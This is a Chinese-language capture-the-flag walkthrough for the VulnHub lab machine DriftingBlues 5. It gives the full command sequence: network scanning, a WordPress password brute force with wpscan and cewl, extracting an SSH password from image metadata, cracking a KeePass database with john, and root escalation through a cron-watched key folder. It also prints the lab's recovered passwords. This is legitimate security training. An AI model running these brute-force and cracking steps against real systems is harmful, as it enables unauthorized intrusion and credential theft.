靶机渗透练习05-driftingblues5

靶机地址： https://www.vulnhub.com/entry/driftingblues-5,662/

1、主机探活

arp-scan -I eth0 -l （指定网卡扫） 扫描局域网所有设备（所有设备IP、MAC地址、制造商信息）
masscan 192.168.111.0/24 -p 80,22 （masscan 扫描的网段 -p 扫描端口号）
netdiscover -i eth0 -r 192.168.184.0/24 （netdiscover -i 网卡-r 网段）
nmap -sn 192.168.111.0/24

2、端口扫描

nmap -sS -A -sV -T4 -p- 192.168.111.15
22—ssh—OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80—http—Apache httpd 2.4.38 ((Debian))

3、80端口分析
可以看到此站点是一个wordpress，老样子，先上扫描器扫一下

wpscan --url http://192.168.111.17/ -e u

发现几个用户名，但是并没有发现存在漏洞的插件
4、使用 cewl 生成网站字典 wpscan 破解账号和密码

cewl -m 6 -w passwd.txt http://192.168.111.17  
因为wordpress系统密码最少6位，所以使用参数-m 6

使用wpscan对用户名进行爆破：
wpscan --url http://192.168.111.17/ -e u --passwords passwd.txt

成功爆破出账号密码 gill / interchangeable
5、继续信息收集

在媒体文件夹中，发现一个首页不存在而且比较奇怪的图片，下载该图片用 exiftool 工具进行分析

wget http://192.168.111.17/wp-content/uploads/2021/02/dblogo.png
exiftool dblogo.png

发现 ssh 密码 59583hello
6、登录gill用户

ssh gill@192.168.111.17

7、继续信息收集
在gill用户的文件夹中发现一个keyfile.kdbx文件，这是一种数据库的加密文件。

在 https://tzusec.com/crackingkeepass-database/  找到相关破解方法

1、先在靶机目录中开启web临时服务：python -m SimpleHTTPServer 80
2、将keyfile.kdbx下载回本地：wget http://192.168.111.17/keyfile.kdbx 
3、将 keyfile.kdbx 内容转为 john 支持的格式： keepass2john keyfile.kdbx > Keepasshash.txt
4、然后使用 john 破解： john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt

破解出密码： porsiempre
8、

破解kdbx密码后可以上传到keeWeb打开，地址为：https://app.keeweb.info/

然后输入刚才破解出来的密码

分析完成后发现六个密码

2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwylde

9、寻找root密码
在根目录下找到一个文件夹为keyfolder，和上面的keyfile相似，进去看看，发现里面是空的啥也没有
此时思路断掉了，尝试像靶机driftingblues4一样上传一个监控程序，看看访问情况

kali起个临时服务
靶机下载pspy64: wget http://192.168.111.7/pspy64
给予权限：chmod +x pspy64
执行：./pspy64

发现在根目录下，每分钟就执行一个key.sh的脚本文件
可以发现没有权限查看脚本，只能猜脚本可能有什么内容， 根据上面情况看，应该是 keypass 相关的身份认证代码

10、根据前面获取的信息，我们现在可以推测： /root/key.sh 脚本会通过计划任务执行，可能会访问 /keyfolder 目录中对应的 key 文件

使用keyfile.kdbx文件中的名称，新建文件，一旦建立正确的文件名，就会获得一个新的文件，

Tips：一开始尝试无法成功，把pspy64文件放到了该文件夹下，把这个无关文件删除或者移动到其他地方，就可以生成新的txt文件

11、查看该文件的内容，得到root的密码 imjustdrifting31 ，拿到最高权限

12、最后查看了key.sh的内容，发现会检测keyfloder中的文件名，当只有一个名字为fracturedocean的文件时，才会执行后面的命令，所以在上面多次尝试都失败的原因为，未清空keyfolder文件夹中的无关文件

完结散花~

总结：
1、cewl 网站字典生成工具配合wpscan爆破得到密码
2、exiftool 图片内容提取工具得到ssh密码
3、.kdbx文件密码破解
4、解密 keepass 数据库获取密码
5、创建 key 文件提权

参考：https://www.freebuf.com/vuls/278983.html
http://www.hackdig.com/04/hack-338276.htm
鹏组安全的师傅提供的wp